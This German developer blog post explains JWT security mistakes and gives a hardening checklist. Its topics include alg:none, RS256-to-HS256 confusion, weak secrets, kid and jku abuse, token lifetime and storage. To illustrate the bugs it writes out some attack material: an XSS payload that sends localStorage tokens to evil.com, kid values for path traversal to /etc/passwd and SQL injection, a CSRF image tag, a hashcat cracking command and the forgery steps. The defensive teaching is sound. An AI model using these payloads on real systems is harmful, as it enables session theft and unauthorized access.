ToolAct

Warum JWT unsicher ist: Von Algorithm Confusion bis Key Leakage — Lehren aus echten Vorfällen

Entwickler-Tools9. Sept. 202618 Min. Lesezeit

Der 3-Uhr-Alarm, der meinen Blick auf JWT verändert hat

2:47 Uhr an einem Mittwoch. Mein Handy vibriert ununterbrochen. Eine Zeile im Ops-Channel: „Admin-API ohne Autorisierung auf Staging aufgerufen.“

Halb schlafend klappe ich den Laptop auf. Logs zeigen: Ein frisch registrierter normaler Nutzer nahm sein eigenes JWT, änderte im Payload role von user zu admin und rief den Lösch-Endpoint auf. Der Server antwortete 200 OK.

Mir wurde schlecht. Wir nutzten JWT. War das nicht „sicher“? Wie konnte ein Feldwechsel alles umgehen?

Die Postmortem war ernüchternd: Nicht JWT war schuld. Wir hatten es als Wundermittel behandelt. Danach auditierte ich jede JWT-Nutzung in der Codebase und mir wurde übel: alg:none nicht blockiert, Secret 123456, Tokens in localStorage, 30 Tage Laufzeit… Lehrbuch-Anti-Patterns, alle davon.

Dieser Post ist der Teardown, den ich mir gewünscht hätte. JWT ist ein elegantes Design, aber elegant bedeutet geringe Fehlertoleranz. Ein falscher Schritt und du übergibst die Schlüssel.

Erst die Basics: Was JWT ist und was nicht

Der gefährlichste Mythos: „JWT ist verschlüsselt.“ Ist es nicht. JWT steht für JSON Web Token. Es beantwortet „habe ich das ausgestellt und wurde es manipuliert?“ nicht „wie verstecke ich Daten?“

Ein normales JWT hat drei per Punkt getrennte Teile:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
  • Header: {"alg":"HS256","typ":"JWT"} — „Ich bin mit HS256 signiert.“
  • Payload: {"uid":123,"role":"user"} — Business-Daten, nur Base64Url-codiert. Jeder kann sie decodieren.
  • Signature: HMAC oder RSA über die ersten beiden Teile mit Key/Algorithmus aus dem Header.

Stell dir JWT wie eine Postkarte mit Wachssiegel vor. Jeder kann lesen, was du geschrieben hast, aber wenn das Siegel nicht passt, wurde manipuliert. Schreib niemals deine PIN auf eine Postkarte.

Hör also auf, password, phone oder SSN in den Payload zu packen. Das Schlimmste, was ich sah, war SELECT * aus der Users-Tabelle in ein Token gestopft — 8 KB pro Request, Gateway am Anschlag.

Kategorie 1: Algorithm Confusion — Elegant und tödlich

Das ist die berühmteste JWT-Bug-Klasse, seit 2015 öffentlich, dennoch vertrauen viele Libs „dem alg vom Client“.

1. alg auf none ändern und der Server sagt „klar!“

none ist ein gültiger JWS-Algorithmus für „keine Signatur“. Für unsichere Use Cases gedacht. Schlechte Verifikation sieht so aus:

// NICHT SO MACHEN
const [h] = token.split('.');
const header = JSON.parse(base64UrlDecode(h));
if (header.alg === 'none') return true; // keine Prüfung!
return verify(token, secret);

Exploit ist trivial: Header auf {"alg":"none"} ändern, Payload auf {"role":"admin"} setzen, Signatur weglassen. Server lässt dich rein.

Als ich das das erste Mal auf Staging reproduzierte, zitterten meine Hände. Ein String-Wechsel = Admin.

Verteidigung: Allowlist erzwingen. Server codiert algorithms: ['HS256'] oder ['RS256'] fest. none ablehnen. Aktuelle jsonwebtoken-Versionen deaktivieren none standardmäßig, aber handgestrickte Verifizierer sind weiterhin anfällig.

2. RS256 → HS256 Switch: Public Key als HMAC-Secret nutzen

Die hat große Firmen erwischt.

RS256 ist asymmetrisch: Private Key signiert, Public Key verifiziert. HS256 ist symmetrisch: gleicher Secret signiert und verifiziert.

Bug: Manche Libs wählen Verifikationsmethode nach header.alg. Angreifer nimmt RS256-Token, ändert Header auf HS256, Server denkt: „Oh, HS256? Dann verifiziere ich mit HMAC und dem ‘Secret‘.“ Und dieses „Secret“ ist der Public Key von RS256 — der öffentlich ist.

# Angreifer-Schritte
1. RS256 Public Key von /.well-known/jwks.json holen
2. Header {"alg":"HS256","typ":"JWT"} bauen
3. Payload {"uid":1,"role":"admin"} bauen
4. Mit HS256 signieren, Public-Key-String als Secret nutzen
5. Server verifiziert HMAC mit gleichem Public Key → passt

Tim McLean hat das 2015 offengelegt; viele Python/Ruby-Libs waren betroffen. Subtil, verheerend.

Verteidigung: Zwei Regeln: ① Verifikations-Algorithmus ist serverkonfiguriert, nie aus Token. ② RS256-Public-Keys und HS256-Secrets getrennt halten. Immer algorithms: ['RS256'] explizit übergeben.

3. Nie client-kontrollierten Headern vertrauen

header.alg ist angreiferkontrolliert. Behandle es wie isAdmin=true vom Client — nie vertrauen.

Kategorie 2: Keys — Dünn wie Papier, wenn falsch gemacht

1. Schwache Secrets: 123456 ist kein Secret

Ich habe JWT-Secrets mit hashcat in Sekunden gebruteforced: secret, password, 123456, jwt_secret. Firmenkürzel+Jahr wie acme2023 ist kaum besser. JWT-Signaturen sind deterministisch, Angreifer kann offline bruteforcen ohne Server zu berühren.

hashcat -a 0 -m 16500 jwt.txt rockyou.txt

Verteidigung: Mindestens 32 Zufallsbytes: openssl rand -hex 32. Sofort rotieren, wenn du ein schwaches Secret ausgeliefert hast, und alte Tokens invalidieren.

2. Key Leakage: Frontend, GitHub, Logs

Drei Leaks aus Audits:

  • Frontend-Bundle: JWT_SECRET in app.js gebündelt. In DevTools suchbar.
  • GitHub: .env committet mit my_super_secret_123.
  • Logs: Vollständige Tokens nach ELK geloggt, für alle sichtbar. Token-Leak = Key-Leak äquivalent.

Manchmal leaken Frameworks das Secret sogar in Fehlermeldungen bei Verifikationsfehler.

Verteidigung: Keys nur in Env-Vars oder KMS. Frontend speichert Tokens, nie Secrets. Tokens in Logs redigieren.

3. kid — Die vergessene Hintertür

Header-Feld kid (Key ID) sagt dem Server, welchen Key er nutzen soll:

const kid = header.kid;
const key = getKey(kid); // oft String-Concat
verify(token, key);

Wenn getKey naiv ist:

  • Path Traversal: kid="../../dev/null" → Server nutzt leere Datei als Key.
  • SQLi: kid="1' OR '1'='1" wenn kid in SQL konkateniert.
  • File-Read-Probe: /keys/${kid}.pem mit kid="../../../../etc/passwd".

Ich habe mal gültige kids über Timing-Unterschiede bei „key not found“ enumeriert.

Verteidigung: Strikte Allowlist für kid (alphanum + Bindestrich). Map nutzen, nie Pfad/SQL-Interpolation.

4. jku und x5u — Angreifer deine Key-URL wählen lassen

jku (JWK Set URL) und x5u (X509 URL) sagen „hole meinen Public Key unter dieser URL“. Wenn Server ihnen vertraut, zeigt Angreifer jku auf eigenen Server und Server holt brav Angreifer-Key zum Verifizieren.

Verteidigung: Deaktiviere jku/x5u/x5c in Prod. Wenn nötig, Domain-Allowlist + HTTPS erzwingen.

Kategorie 3: Ablauf, Widerruf, Replay — der Preis von Stateless

JWTs größtes Verkaufsargument — stateless — ist auch sein Fluch. Sessions leicht zu widerrufen: Session löschen. Ein JWT, einmal ausgestellt, ist ein unwiderruflicher Scheck bis zum Ablauf. Passwort geändert, Account gebannt, Token gestohlen — der Angreifer nutzt ihn bis zum Ablauf.

Ich sah exp auf 30 Tage oder nie. „Für bessere UX, kein Login nötig.“ Dann verlorenes Handy = 30-Tage-Fenster.

Richtiges Muster — kurzlebig + widerrufbar:

  • Kurzlebiger Access-Token: 5–15 Min, minimale Claims.
  • Rotierender Refresh-Token: Längerlebig, httpOnly + DB gespeichert. Alten Refresh bei Nutzung invalidieren. Wiederverwendungserkennung: gleicher Refresh zweimal → alle Tokens des Users widerrufen.
  • Blocklist/Allowlist: Bei Logout/Passwortwechsel/Ban jti in Redis mit TTL = Restlaufzeit. Bei Verifikation Blocklist prüfen. Ja, macht stateful — notwendiger Kompromiss.
  • aud, iss, nbf validieren: Viele Verifizierer überspringen aud/iss. Ergebnis: Token von Service A geht bei Service B.
jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: 'auth.mycompany.com',
  audience: 'api.mycompany.com',
  clockTolerance: 5
});

Kategorie 4: Wo du JWT speicherst, entscheidet wie du stirbst

WoVorteileNachteileWie es leakt
localStorage / sessionStorageEinfach für FrontendJedes JS kann lesenEin XSS klaut alles
In-Memory-VariableWeg bei Tab-CloseWeg bei RefreshSicherer aber schlechte UX
httpOnly + Secure + SameSite CookieJS kann nicht lesen, XSS-resistentCSRF-RisikoBraucht CSRF-Token

Häufigster Fehler: Token in localStorage aus Bequemlichkeit, dann ein Kommentarfeld ohne XSS-Filter wird mit <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))> injiziert — Tokens aller Besucher abgegriffen.

Cookies sind auch nicht magisch: auto-gesendet, ermöglichen CSRF — <img src="https://api.mycompany.com/transfer?to=attacker"> löst authentifizierten Request aus, wenn User eingeloggt.

Stabiles Prod-Muster heute: Access-Token im Memory, Refresh-Token in httpOnly + Secure + SameSite=Strict Cookie, plus SameSite und Anti-CSRF-Token. Refresh beim Reload. Und überall HTTPS, sonst Tokens Klartext.

Kategorie 5: Vergessene Claims

Signatur gültig ≠ Business gültig. Viele Codebases machen req.user = decoded nach Verify und überspringen:

  • exp nicht geprüft — manche Libs prüfen die Gültigkeit standardmäßig nicht.
  • nbf nicht geprüft — „not before“ ignoriert, Token zu früh genutzt.
  • Privilegien im Payload vertraut: role/isVip in JWT und vertraut. Besser: JWT trägt nur uid, Privilegien aus DB/Cache holen.
  • Replay: Kein jti-Dedup, gestohlenes Token replayed. Für sensible Aktionen einmaliges jti oder jti + ip + ua binden.

Production-Hardening-Checkliste — Was ich jetzt durchsetze

  1. Algorithm-Allowlist: Hardcode algorithms: ['RS256']. Nie alg aus Header lesen. none, jku, x5u deaktivieren.
  2. Starke, rotierbare Keys: ≥32 Zufallsbytes für HS256, ≥2048-bit für RS256. In KMS/Env speichern, Rotation per kid, alten Key 7 Tage behalten.
  3. Kurze Laufzeit + Rotation: 10 Min Access, 7 Tage rotierender Refresh + Blocklist bei Logout/Passwort/Ban.
  4. Minimaler Payload: Nur uid, jti, exp, iat. Keine PII. Für sensible Daten JWE.
  5. Strikte Validierung: iss, aud, exp, nbf, jti prüfen. Nie JWT für Autorisierung vertrauen; Server abfragen.
  6. Speicherung: Refresh in httpOnly-Cookie, Access im Memory. Logs redigieren, HTTPS erzwingen, CSP gegen XSS.
  7. Observability: jti-Ausstellung/Refresh/Revocation tracen, bei Wiederverwendung alarmieren.

Einzeiler: Behandle JWT als Wegwerf-Pass, nicht als permanenten Ausweis.

Fazit: Nicht JWT ist kaputt — blindes Vertrauen ist es

JWT-Design ist zurückhaltend: drei Teile, Base64Url, optionale Algorithmen, Standard-Claims. Fast jede „Unsicherheit“ ist Implementierungs-Faulheit: alg zu vertrauen, um Aufwand zu sparen, schwache Secrets aus Bequemlichkeit, monatelange Laufzeit für UX, Permissions in Payload für Speed.

Wie ein Küchenmesser: nicht gefährlich an sich, aber blind geschwungen schneidest du dich.

Wenn du heute JWT nutzt, grepe heute Nacht deine Codebase: irgendein verify(token, secret) ohne algorithms? Secret im Klartext in config.js? Token-Laufzeit in Tagen? Behebe eines davon, und du hast einen 3-Uhr-Alarm verhindert.

Warte nicht auf einen Sicherheitsvorfall, um dich an diesen Post zu erinnern.